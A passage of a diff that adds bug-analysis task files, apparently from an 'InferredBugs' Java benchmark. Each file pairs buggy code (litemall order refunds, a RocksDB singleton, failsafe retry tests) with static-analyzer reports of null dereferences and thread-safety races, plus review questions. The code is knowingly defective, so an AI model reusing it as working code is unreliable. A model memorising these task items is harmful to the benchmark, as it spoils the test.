+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8753/instruction.md b/inferredbugs-8753/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c73d1b64dac62aff11d2820e6db5ddfe093e56f4
--- /dev/null
+++ b/inferredbugs-8753/instruction.md
@@ -0,0 +1,349 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** litemall
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.linlinjava.litemall.admin.web;
+
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+import org.linlinjava.litemall.admin.annotation.LoginAdmin;
+import org.linlinjava.litemall.core.util.JacksonUtil;
+import org.linlinjava.litemall.db.domain.*;
+import org.linlinjava.litemall.db.service.LitemallOrderGoodsService;
+import org.linlinjava.litemall.db.service.LitemallOrderService;
+import org.linlinjava.litemall.db.service.LitemallProductService;
+import org.linlinjava.litemall.db.service.LitemallUserService;
+import org.linlinjava.litemall.db.util.OrderHandleOption;
+import org.linlinjava.litemall.db.util.OrderUtil;
+import org.linlinjava.litemall.core.util.ResponseUtil;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.scheduling.annotation.Scheduled;
+import org.springframework.transaction.PlatformTransactionManager;
+import org.springframework.transaction.TransactionDefinition;
+import org.springframework.transaction.TransactionStatus;
+import org.springframework.transaction.support.DefaultTransactionDefinition;
+import org.springframework.web.bind.annotation.*;
+
+import java.math.BigDecimal;
+import java.time.LocalDateTime;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+@RestController
+@RequestMapping("/admin/order")
+public class AdminOrderController {
+    private final Log logger = LogFactory.getLog(AdminOrderController.class);
+
+    @Autowired
+    private PlatformTransactionManager txManager;
+
+    @Autowired
+    private LitemallOrderGoodsService orderGoodsService;
+    @Autowired
+    private LitemallOrderService orderService;
+    @Autowired
+    private LitemallProductService productService;
+    @Autowired
+    private LitemallUserService userService;
+
+    @GetMapping("/list")
+    public Object list(@LoginAdmin Integer adminId,
+                       Integer userId, String orderSn, @RequestParam(required = false, value = "orderStatusArray[]")List<Short> orderStatusArray,
+                       @RequestParam(value = "page", defaultValue = "1") Integer page,
+                       @RequestParam(value = "limit", defaultValue = "10") Integer limit,
+                       String sort, String order){
+        if(adminId == null){
+            return ResponseUtil.unlogin();
+        }
+        List<LitemallOrder> orderList = orderService.querySelective(userId, orderSn,orderStatusArray, page, limit, sort, order);
+        int total = orderService.countSelective(userId, orderSn, orderStatusArray, page, limit, sort, order);
+
+        Map<String, Object> data = new HashMap<>();
+        data.put("total", total);
+        data.put("items", orderList);
+
+        return ResponseUtil.ok(data);
+    }
+
+    @GetMapping("/detail")
+    public Object detail(@LoginAdmin Integer adminId, Integer id) {
+        if(adminId == null){
+            return ResponseUtil.unlogin();
+        }
+
+        LitemallOrder order = orderService.findById(id);
+        List<LitemallOrderGoods> orderGoods = orderGoodsService.queryByOid(id);
+        UserVo user = userService.findUserVoById(order.getUserId());
+        Map<String, Object> data = new HashMap<>();
+        data.put("order", order);
+        data.put("orderGoods", orderGoods);
+        data.put("user", user);
+
+        return ResponseUtil.ok(data);
+    }
+
+    /**
+     * 订单退款确认
+     * 1. 检测当前订单是否能够退款确认
+     * 2. 设置订单退款确认状态
+     * 3. 订单商品恢复
+     *
+     * @param adminId 管理员ID
+     * @param body   订单信息，{ orderId：xxx }
+     * @return 订单操作结果
+     * 成功则 { errno: 0, errmsg: '成功' }
+     * 失败则 { errno: XXX, errmsg: XXX }
+     */
+    @PostMapping("refund")
+    public Object refund(@LoginAdmin Integer adminId, @RequestBody String body) {
+        if (adminId == null) {
+            return ResponseUtil.unlogin();
+        }
+        Integer orderId = JacksonUtil.parseInteger(body, "orderId");
+        Integer refundMoney = JacksonUtil.parseInteger(body, "refundMoney");
+        if (orderId == null) {
+            return ResponseUtil.badArgument();
+        }
+
+        LitemallOrder order = orderService.findById(orderId);
+        if (order == null) {
+            return ResponseUtil.badArgument();
+        }
+
+        if(order.getActualPrice().compareTo(new BigDecimal(refundMoney)) != 0){
+            return ResponseUtil.badArgumentValue();
+        }
+
+        // 如果订单不是退款状态，则不能退款
+        if (!order.getOrderStatus().equals(OrderUtil.STATUS_REFUND)) {
+            return ResponseUtil.fail(403, "订单不能确认收货");
+        }
+
+        // 开启事务管理
+        DefaultTransactionDefinition def = new DefaultTransactionDefinition();
+        def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED);
+        TransactionStatus status = txManager.getTransaction(def);
+        try {
+            // 设置订单取消状态
+            order.setOrderStatus(OrderUtil.STATUS_REFUND_CONFIRM);
+            orderService.update(order);
+
+            // 商品货品数量增加
+            List<LitemallOrderGoods> orderGoodsList = orderGoodsService.queryByOid(orderId);
+            for (LitemallOrderGoods orderGoods : orderGoodsList) {
+                Integer productId = orderGoods.getProductId();
+                LitemallProduct product = productService.findById(productId);
+                Integer number = product.getNumber() + orderGoods.getNumber();
+                product.setNumber(number);
+                productService.updateById(product);
+            }
+        } catch (Exception ex) {
+            txManager.rollback(status);
+            logger.error("系统内部错误", ex);
+            return ResponseUtil.fail(403, "订单退款失败");
+        }
+        txManager.commit(status);
+
+        return ResponseUtil.ok();
+    }
+
+    /**
+     * 发货
+     * 1. 检测当前订单是否能够发货
+     * 2. 设置订单发货状态
+     *
+     * @param adminId 管理员ID
+     * @param body   订单信息，{ orderId：xxx, shipSn: xxx, shipChannel: xxx }
+     * @return 订单操作结果
+     * 成功则 { errno: 0, errmsg: '成功' }
+     * 失败则 { errno: XXX, errmsg: XXX }
+     */
+    @PostMapping("ship")
+    public Object ship(@LoginAdmin Integer adminId, @RequestBody String body) {
+        if (adminId == null) {
+            return ResponseUtil.unlogin();
+        }
+        Integer orderId = JacksonUtil.parseInteger(body, "orderId");
+        String shipSn = JacksonUtil.parseString(body, "shipSn");
+        String shipChannel = JacksonUtil.parseString(body, "shipChannel");
+        if (orderId == null || shipSn == null || shipChannel == null) {
+            return ResponseUtil.badArgument();
+        }
+
+        LitemallOrder order = orderService.findById(orderId);
+        if (order == null) {
+            return ResponseUtil.badArgument();
+        }
+
+        // 如果订单不是已付款状态，则不能发货
+        if (!order.getOrderStatus().equals(OrderUtil.STATUS_PAY)) {
+            return ResponseUtil.fail(403, "订单不能确认收货");
+        }
+
+        order.setOrderStatus(OrderUtil.STATUS_SHIP);
+        order.setShipSn(shipSn);
+        order.setShipChannel(shipChannel);
+        order.setShipTime(LocalDateTime.now());
+        orderService.update(order);
+
+        return ResponseUtil.ok();
+    }
+
+    /**
+     * 自动取消订单
+     *
+     * 定时检查订单未付款情况，如果超时半个小时则自动取消订单
+     * 定时时间是每次相隔半个小时。
+     *
+     * 注意，因为是相隔半小时检查，因此导致有订单是超时一个小时以后才设置取消状态。
+     * TODO
+     * 这里可以进一步地配合用户订单查询时订单未付款检查，如果订单超时半小时则取消。
+     */
+    @Scheduled(fixedDelay = 30*60*1000)
+    public void checkOrderUnpaid() {
+        logger.debug(LocalDateTime.now());
+
+        List<LitemallOrder> orderList = orderService.queryUnpaid();
+        for(LitemallOrder order : orderList){
+            LocalDateTime add = order.getAddTime();
+            LocalDateTime now = LocalDateTime.now();
+            LocalDateTime expired = add.plusMinutes(30);
+            if(expired.isAfter(now)){
+                continue;
+            }
+
+            // 开启事务管理
+            DefaultTransactionDefinition def = new DefaultTransactionDefinition();
+            def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED);
+            TransactionStatus status = txManager.getTransaction(def);
+            try {
+                // 设置订单已取消状态
+                order.setOrderStatus(OrderUtil.STATUS_AUTO_CANCEL);
+                order.setEndTime(LocalDateTime.now());
+                orderService.updateById(order);
+
+                // 商品货品数量增加
+                Integer orderId = order.getId();
+                List<LitemallOrderGoods> orderGoodsList = orderGoodsService.queryByOid(orderId);
+                for (LitemallOrderGoods orderGoods : orderGoodsList) {
+                    Integer productId = orderGoods.getProductId();
+                    LitemallProduct product = productService.findById(productId);
+                    Integer number = product.getNumber() + orderGoods.getNumber();
+                    product.setNumber(number);
+                    productService.updateById(product);
+                }
+            } catch (Exception ex) {
+                txManager.rollback(status);
+                logger.error("系统内部错误", ex);
+            }
+            txManager.commit(status);
+        }
+    }
+
+    /**
+     * 自动确认订单
+     *
+     * 定时检查订单未确认情况，如果超时七天则自动确认订单
+     * 定时时间是每天凌晨3点。
+     *
+     * 注意，因为是相隔一天检查，因此导致有订单是超时八天以后才设置自动确认。
+     * 这里可以进一步地配合用户订单查询时订单未确认检查，如果订单超时7天则自动确认。
+     * 但是，这里可能不是非常必要。相比订单未付款检查中存在商品资源有限所以应该
+     * 早点清理未付款情况，这里八天再确认是可以的。
+     *
+     * TODO
+     * 目前自动确认是基于管理后台管理员所设置的商品快递时间，见orderService.queryUnconfirm。
+     * 那么在实际业务上有可能存在商品寄出以后商品因为一些原因快递最终没有到达，
+     * 也就是商品快递失败而shipEndTime一直是空的情况，因此这里业务可能需要扩展，以防止订单一直
+     * 处于发货状态。
+     */
+    @Scheduled(cron = "0 0 3 * * ?")
+    public void checkOrderUnconfirm() {
+        logger.debug(LocalDateTime.now());
+
+        List<LitemallOrder> orderList = orderService.queryUnconfirm();
+        for(LitemallOrder order : orderList){
+            LocalDateTime ship = order.getShipTime();
+            LocalDateTime now = LocalDateTime.now();
+            LocalDateTime expired = ship.plusDays(7);
+            if(expired.isAfter(now)){
+                continue;
+            }
+            // 设置订单已取消状态
+            order.setOrderStatus(OrderUtil.STATUS_AUTO_CONFIRM);
+            order.setConfirmTime(now);
+            orderService.updateById(order);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `refundMoney` last assigned on line 100 could be null and is dereferenced at line 110.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object AdminOrderController.refund(Integer,String)
+
+### Procedure Id:
+org.linlinjava.litemall.admin.web.AdminOrderController.refund(java.lang.Integer,java.lang.String):ja.4fa8003333199f765cdff6c2af50d995
+
+### File:
+litemall-admin-api/src/main/java/org/linlinjava/litemall/admin/web/AdminOrderController.java
+
+### Key:
+AdminOrderController.java|refund|NULL_DEREFERENCE
+
+### Node Key:
+4ca352405b7b88367bd1ea08956d3411
+
+### Hash:
+2b5eaab9601c6ac53be576bd74d37482
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8764/instruction.md b/inferredbugs-8764/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0273a19e598ac71324355514eaad58efc312f716
--- /dev/null
+++ b/inferredbugs-8764/instruction.md
@@ -0,0 +1,171 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** blockchain-java
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package one.wangwei.blockchain.util;
+
+import one.wangwei.blockchain.block.Block;
+import org.rocksdb.Options;
+import org.rocksdb.RocksDB;
+import org.rocksdb.RocksDBException;
+
+/**
+ * RocksDB 工具类
+ *
+ * @author wangwei
+ * @date 2018/02/27
+ */
+public class RocksDBUtils {
+
+    /**
+     * 区块链数据文件
+     */
+    private static final String DB_FILE = "blockchain.db";
+    /**
+     * 区块桶前缀
+     */
+    private static final String BLOCKS_BUCKET_PREFIX = "blocks_";
+
+    private volatile static RocksDBUtils instance;
+
+    public static RocksDBUtils getInstance() {
+        if (instance == null) {
+            synchronized (RocksDBUtils.class) {
+                if (instance == null) {
+                    instance = new RocksDBUtils();
+                }
+            }
+        }
+        return instance;
+    }
+
+    private static RocksDB rocksDB;
+
+    private RocksDBUtils() {
+        initRocksDB();
+    }
+
+    /**
+     * 初始化RocksDB
+     */
+    private void initRocksDB() {
+        try {
+            rocksDB = RocksDB.open(new Options().setCreateIfMissing(true), DB_FILE);
+        } catch (RocksDBException e) {
+            e.printStackTrace();
+        }
+    }
+
+    /**
+     * 保存最新一个区块的Hash值
+     *
+     * @param tipBlockHash
+     */
+    public void putLastBlockHash(String tipBlockHash) throws Exception {
+        rocksDB.put((BLOCKS_BUCKET_PREFIX + "l").getBytes(), tipBlockHash.getBytes());
+    }
+
+    /**
+     * 查询最新一个区块的Hash值
+     *
+     * @return
+     */
+    public String getLastBlockHash() throws Exception {
+        byte[] lastBlockHashBytes = rocksDB.get((BLOCKS_BUCKET_PREFIX + "l").getBytes());
+        if (lastBlockHashBytes != null) {
+            return new String(lastBlockHashBytes);
+        }
+        return "";
+    }
+
+    /**
+     * 保存区块
+     *
+     * @param block
+     */
+    public void putBlock(Block block) throws Exception {
+        rocksDB.put((BLOCKS_BUCKET_PREFIX + block.getHash()).getBytes(), SerializeUtils.serialize(block));
+    }
+
+    /**
+     * 查询区块
+     *
+     * @param blockHash
+     * @return
+     */
+    public Block getBlock(String blockHash) throws Exception {
+        return (Block) SerializeUtils.deserialize(rocksDB.get((BLOCKS_BUCKET_PREFIX + blockHash).getBytes()));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `one.wangwei.blockchain.util.RocksDBUtils.putBlock` reads without synchronization from `util.RocksDBUtils.one.wangwei.blockchain.util.RocksDBUtils.rocksDB`. Potentially races with write in method `RocksDBUtils.getInstance()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RocksDBUtils.putBlock(Block)
+
+### Procedure Id:
+one.wangwei.blockchain.util.RocksDBUtils.putBlock(one.wangwei.blockchain.block.Block):void.6f8b8244948e53ac7f3427bff4961d12
+
+### File:
+src/main/java/one/wangwei/blockchain/util/RocksDBUtils.java
+
+### Key:
+RocksDBUtils.java|putBlock|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+7a1810bd2a99861b437a3712759b2312
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8797/instruction.md b/inferredbugs-8797/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3c30ab2d8b5475d26676325856fb181acfab0ae3
--- /dev/null
+++ b/inferredbugs-8797/instruction.md
@@ -0,0 +1,261 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** failsafe
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.jodah.recurrent;
+
+import static net.jodah.recurrent.Asserts.assertThrows;
+import static net.jodah.recurrent.Asserts.getThrowable;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertTrue;
+
+import java.net.SocketException;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+
+import org.testng.annotations.BeforeMethod;
+import org.testng.annotations.Test;
+
+@Test
+public class RecurrentTest {
+  private ScheduledExecutorService executor = Executors.newScheduledThreadPool(2);
+  private RetryPolicy retryTwice = new RetryPolicy().withMaxRetries(2);
+  private Service service = mock(Service.class);
+
+  public interface Service {
+    boolean connect();
+  }
+
+  @BeforeMethod
+  protected void beforeMethod() {
+    reset(service);
+  }
+
+  @SuppressWarnings("unchecked")
+  private <T> Class<? extends Exception>[] failures(int numFailures, Class<? extends Exception> failureType) {
+    Class<? extends Exception>[] failures = new Class[numFailures];
+    for (int i = 0; i < numFailures; i++)
+      failures[i] = failureType;
+    return failures;
+  }
+
+  private void assertRunWithExecutor(Object runnable) throws Throwable {
+    // Fail twice then succeed
+    when(service.connect()).thenThrow(failures(2, SocketException.class)).thenReturn(true);
+    if (runnable instanceof Runnable)
+      Recurrent.run((Runnable) runnable, new RetryPolicy(), executor).get();
+    else
+      Recurrent.run((ContextualRunnable) runnable, new RetryPolicy(), executor).get();
+    verify(service, times(3)).connect();
+
+    // Fail three times
+    reset(service);
+    when(service.connect()).thenThrow(failures(10, SocketException.class)).thenReturn(true);
+    if (runnable instanceof Runnable)
+      assertThrows(SocketException.class, () -> Recurrent.run((Runnable) runnable, retryTwice, executor).get());
+    else
+      assertThrows(SocketException.class,
+          () -> Recurrent.run((ContextualRunnable) runnable, retryTwice, executor).get());
+    verify(service, times(3)).connect();
+  }
+
+  public void shouldRun() throws Throwable {
+    Runnable runnable = () -> service.connect();
+
+    // Fail twice then succeed
+    when(service.connect()).thenThrow(failures(2, SocketException.class)).thenReturn(true);
+    Recurrent.run(runnable, new RetryPolicy());
+    verify(service, times(3)).connect();
+
+    // Fail three times
+    reset(service);
+    when(service.connect()).thenThrow(failures(10, SocketException.class)).thenReturn(true);
+    assertThrows(SocketException.class, () -> Recurrent.run(runnable, retryTwice));
+    verify(service, times(3)).connect();
+  }
+
+  public void shouldRunWithExecutor() throws Throwable {
+    assertRunWithExecutor((Runnable) () -> service.connect());
+  }
+
+  public void shouldRunContextualWithExecutor() throws Throwable {
+    assertRunWithExecutor((ContextualRunnable) (ctx) -> {
+      try {
+        service.connect();
+      } catch (Exception failure) {
+        if (ctx.getRetryCount() % 2 == 0)
+          throw failure;
+        if (!ctx.retry(failure))
+          throw failure;
+      }
+    });
+  }
+
+  public void shouldGet() throws Throwable {
+    Callable<Boolean> callable = () -> service.connect();
+
+    // Fail twice then succeed
+    when(service.connect()).thenThrow(failures(2, SocketException.class)).thenReturn(true);
+    assertEquals(Recurrent.get(callable, new RetryPolicy()), Boolean.TRUE);
+    verify(service, times(3)).connect();
+
+    // Fail three times
+    reset(service);
+    when(service.connect()).thenThrow(failures(10, SocketException.class)).thenReturn(true);
+    assertThrows(SocketException.class, () -> Recurrent.get(callable, retryTwice));
+    verify(service, times(3)).connect();
+  }
+
+  @SuppressWarnings({ "rawtypes", "unchecked" })
+  private void assertGetWithExecutor(Object callable) throws Throwable {
+    // Fail twice then succeed
+    when(service.connect()).thenThrow(failures(2, SocketException.class)).thenReturn(true);
+    boolean result = callable instanceof Callable
+        ? Recurrent.get((Callable<Boolean>) callable, new RetryPolicy(), executor).get()
+        : Recurrent.get((ContextualCallable<Boolean>) callable, new RetryPolicy(), executor).get();
+    assertEquals(result, true);
+    verify(service, times(3)).connect();
+
+    // Fail three times
+    reset(service);
+    when(service.connect()).thenThrow(failures(10, SocketException.class)).thenReturn(true);
+    Throwable failure = callable instanceof Callable
+        ? getThrowable(() -> Recurrent.get((Callable) callable, retryTwice, executor).get())
+        : getThrowable(() -> Recurrent.get((ContextualCallable) callable, retryTwice, executor).get());
+    assertTrue(SocketException.class.isAssignableFrom(failure.getClass()));
+    verify(service, times(3)).connect();
+  }
+
+  public void shouldGetWithExecutor() throws Throwable {
+    assertGetWithExecutor((Callable<?>) () -> service.connect());
+  }
+
+  public void shouldGetContextualWithExecutor() throws Throwable {
+    assertGetWithExecutor((ContextualCallable<?>) (ctx) -> {
+      try {
+        return service.connect();
+      } catch (Exception failure) {
+        if (ctx.getRetryCount() % 2 == 0)
+          throw failure;
+        if (!ctx.retry(failure))
+          throw failure;
+        return null;
+      }
+    });
+  }
+
+  @SuppressWarnings({ "rawtypes", "unchecked" })
+  private void assertGetFuture(Object callable) throws Throwable {
+    // Fail twice then succeed
+    when(service.connect()).thenThrow(failures(2, SocketException.class)).thenReturn(true);
+    boolean result = (boolean) (callable instanceof Callable
+        ? Recurrent.future((Callable) callable, new RetryPolicy(), executor).get()
+        : Recurrent.future((ContextualCallable) callable, new RetryPolicy(), executor).get());
+    assertEquals(result, true);
+    verify(service, times(3)).connect();
+
+    // Fail three times
+    reset(service);
+    when(service.connect()).thenThrow(failures(10, SocketException.class)).thenReturn(true);
+    Throwable failure = callable instanceof Callable
+        ? getThrowable(() -> Recurrent.future((Callable) callable, retryTwice, executor).get())
+        : getThrowable(() -> Recurrent.future((ContextualCallable) callable, retryTwice, executor).get());
+    assertTrue(SocketException.class.isAssignableFrom(failure.getClass()));
+    verify(service, times(3)).connect();
+  }
+
+  public void testFuture() throws Throwable {
+    assertGetFuture((Callable<?>) () -> CompletableFuture.supplyAsync(() -> service.connect()));
+  }
+
+  public void testFutureContextual() throws Throwable {
+    assertGetFuture((ContextualCallable<?>) (ctx) -> CompletableFuture.supplyAsync(() -> {
+      try {
+        return service.connect();
+      } catch (Exception failure) {
+        if (ctx.getRetryCount() % 2 == 0)
+          throw failure;
+        if (!ctx.retry(failure))
+          throw failure;
+        return null;
+      }
+    }));
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `failure` last assigned on line 165 could be null and is dereferenced at line 166.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RecurrentTest.assertGetFuture(Object)
+
+### Procedure Id:
+net.jodah.recurrent.RecurrentTest.assertGetFuture(java.lang.Object):void.85987327e104a449ad897a280497bfdc
+
+### File:
+src/test/java/net/jodah/recurrent/RecurrentTest.java
+
+### Key:
+RecurrentTest.java|assertGetFuture|NULL_DEREFERENCE
+
+### Node Key:
+674867e9afbd12d31e7532be4794afdf
+
+### Hash:
+059e0cadeb81d318d9f34c216c26871a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8799/instruction.md b/inferredbugs-8799/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e0c32176275a2ed229e2dc6e5672684f54b283b4
--- /dev/null
+++ b/inferredbugs-8799/instruction.md
@@ -0,0 +1,297 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** failsafe
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.jodah.recurrent;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.*;
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertFalse;
+import static org.testng.Assert.assertNull;
+import static org.testng.Assert.assertTrue;
+
+import java.net.ConnectException;
+import java.util.concurrent.Callable;
+import java.util.concurrent.TimeUnit;
+
+import org.testng.annotations.BeforeMethod;
+import org.testng.annotations.Test;
+
+import net.jodah.recurrent.util.concurrent.Scheduler;
+
+@Test
+public class AsyncExecutionTest {
+  ConnectException e = new ConnectException();
+  AsyncExecution inv;
+  RecurrentFuture<Object> future;
+  AsyncContextualCallable<Object> callable;
+  Scheduler scheduler;
+
+  @BeforeMethod
+  @SuppressWarnings("unchecked")
+  void beforeMethod() {
+    scheduler = mock(Scheduler.class);
+    future = mock(RecurrentFuture.class);
+    callable = mock(AsyncContextualCallable.class);
+  }
+
+  public void testComplete() {
+    // Given
+    inv = new AsyncExecution(callable, new RetryPolicy(), scheduler, future, null);
+
+    // When
+    inv.complete();
+
+    // Then
+    assertEquals(inv.getExecutions(), 1);
+    assertTrue(inv.isComplete());
+    assertNull(inv.getLastResult());
+    assertNull(inv.getLastFailure());
+    verify(future).complete(null, null, true);
+  }
+
+  public void testCompleteForResult() {
+    // Given
+    inv = new AsyncExecution(callable, new RetryPolicy().retryWhen(null), scheduler, future, null);
+
+    // When / Then
+    assertFalse(inv.complete(null));
+    assertTrue(inv.complete(true));
+
+    // Then
+    assertEquals(inv.getExecutions(), 1);
+    assertTrue(inv.isComplete());
+    assertEquals(inv.getLastResult(), Boolean.TRUE);
+    assertNull(inv.getLastFailure());
+    verify(future).complete(true, null, true);
+  }
+
+  public void testGetAttemptCount() {
+    inv = new AsyncExecution(callable, new RetryPolicy(), scheduler, future, null);
+    inv.retryOn(e);
+    inv.prepare();
+    inv.retryOn(e);
+    assertEquals(inv.getExecutions(), 2);
+  }
+
+  public void testRetryForResult() {
+    // Given retry for null
+    inv = new AsyncExecution(callable, new RetryPolicy().retryWhen(null), scheduler, future, null);
+
+    // When / Then
+    assertFalse(inv.complete(null));
+    assertTrue(inv.retryFor(null));
+    inv.prepare();
+    assertFalse(inv.retryFor(1));
+
+    // Then
+    assertEquals(inv.getExecutions(), 2);
+    assertTrue(inv.isComplete());
+    assertEquals(inv.getLastResult(), Integer.valueOf(1));
+    assertNull(inv.getLastFailure());
+    verifyScheduler(1);
+    verify(future).complete(1, null, true);
+
+    // Given 2 max retries
+    inv = new AsyncExecution(callable, new RetryPolicy().retryWhen(null).withMaxRetries(1), scheduler, future, null);
+
+    // When / Then
+    resetMocks();
+    assertFalse(inv.complete(null));
+    inv.prepare();
+    assertTrue(inv.retryFor(null));
+    inv.prepare();
+    assertFalse(inv.retryFor(null));
+
+    // Then
+    assertEquals(inv.getExecutions(), 2);
+    assertTrue(inv.isComplete());
+    assertNull(inv.getLastResult());
+    assertNull(inv.getLastFailure());
+    verifyScheduler(1);
+    verify(future).complete(null, null, false);
+  }
+
+  public void testRetryForResultAndThrowable() {
+    // Given retry for null
+    inv = new AsyncExecution(callable, new RetryPolicy().retryWhen(null), scheduler, future, null);
+
+    // When / Then
+    assertFalse(inv.complete(null));
+    assertTrue(inv.retryFor(null, null));
+    inv.prepare();
+    assertTrue(inv.retryFor(1, new IllegalArgumentException()));
+    inv.prepare();
+    assertFalse(inv.retryFor(1, null));
+
+    // Then
+    assertEquals(inv.getExecutions(), 3);
+    assertTrue(inv.isComplete());
+    assertEquals(inv.getLastResult(), Integer.valueOf(1));
+    assertNull(inv.getLastFailure());
+    verifyScheduler(2);
+    verify(future).complete(1, null, true);
+
+    // Given 2 max retries
+    inv = new AsyncExecution(callable, new RetryPolicy().retryWhen(null).withMaxRetries(1), scheduler, future, null);
+
+    // When / Then
+    resetMocks();
+    assertFalse(inv.complete(null));
+    assertTrue(inv.retryFor(null, e));
+    inv.prepare();
+    assertFalse(inv.retryFor(null, e));
+
+    // Then
+    assertEquals(inv.getExecutions(), 2);
+    assertTrue(inv.isComplete());
+    assertNull(inv.getLastResult());
+    assertEquals(inv.getLastFailure(), e);
+    verifyScheduler(1);
+    verify(future).complete(null, e, false);
+  }
+
+  @SuppressWarnings("unchecked")
+  public void testRetryOn() {
+    // Given retry on IllegalArgumentException
+    inv = new AsyncExecution(callable, new RetryPolicy().retryOn(IllegalArgumentException.class), scheduler, future,
+        null);
+
+    // When / Then
+    assertTrue(inv.retryOn(new IllegalArgumentException()));
+    inv.prepare();
+    assertFalse(inv.retryOn(e));
+
+    // Then
+    assertEquals(inv.getExecutions(), 2);
+    assertTrue(inv.isComplete());
+    assertNull(inv.getLastResult());
+    assertEquals(inv.getLastFailure(), e);
+    verifyScheduler(1);
+    verify(future).complete(null, e, false);
+
+    // Given 2 max retries
+    inv = new AsyncExecution(callable, new RetryPolicy().withMaxRetries(1), scheduler, future, null);
+
+    // When / Then
+    resetMocks();
+    assertTrue(inv.retryOn(e));
+    inv.prepare();
+    assertFalse(inv.retryOn(e));
+
+    // Then
+    assertEquals(inv.getExecutions(), 2);
+    assertTrue(inv.isComplete());
+    assertNull(inv.getLastResult());
+    assertEquals(inv.getLastFailure(), e);
+    verifyScheduler(1);
+    verify(future).complete(null, e, false);
+  }
+
+  @Test(expectedExceptions = IllegalStateException.class)
+  public void shouldThrowOnRetryWhenAlreadyComplete() {
+    inv = new AsyncExecution(callable, new RetryPolicy(), scheduler, future, null);
+    inv.complete();
+    inv.retryOn(e);
+  }
+
+  public void testCompleteOrRetry() {
+    // Given retry on IllegalArgumentException
+    inv = new AsyncExecution(callable, new RetryPolicy(), scheduler, future, null);
+
+    // When / Then
+    inv.completeOrRetry(null, e);
